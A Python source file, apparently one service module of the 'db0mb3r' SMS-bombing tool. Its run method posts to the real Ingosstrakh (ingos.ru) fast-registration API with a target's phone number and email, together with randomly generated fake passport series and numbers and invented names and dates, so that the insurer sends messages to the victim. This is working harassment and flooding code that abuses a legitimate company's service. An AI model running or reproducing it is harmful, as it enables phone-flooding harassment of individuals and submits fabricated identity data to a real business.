ingos.py 851 B

1234567891011121314151617181920212223242526
  1. from random import randint
  2. from db0mb3r.services.service import Service
  3. class Ingos(Service):
  4. phone_codes = [7]
  5. async def run(self):
  6. await self.post(
  7. "https://www.ingos.ru/api/v1/lk/auth/register/fast/step2",
  8. headers={"Referer": "https://www.ingos.ru/cabinet/registration/personal"},
  9. json={
  10. "Birthday": "1986-07-10T07:19:56.276+02:00",
  11. "DocIssueDate": "2004-02-05T07:19:56.276+02:00",
  12. "DocNumber": randint(500000, 999999),
  13. "DocSeries": randint(5000, 9999),
  14. "FirstName": self.russian_name,
  15. "Gender": "M",
  16. "LastName": self.russian_name,
  17. "SecondName": self.russian_name,
  18. "Phone": self.phone,
  19. "Email": self.email,
  20. },
  21. )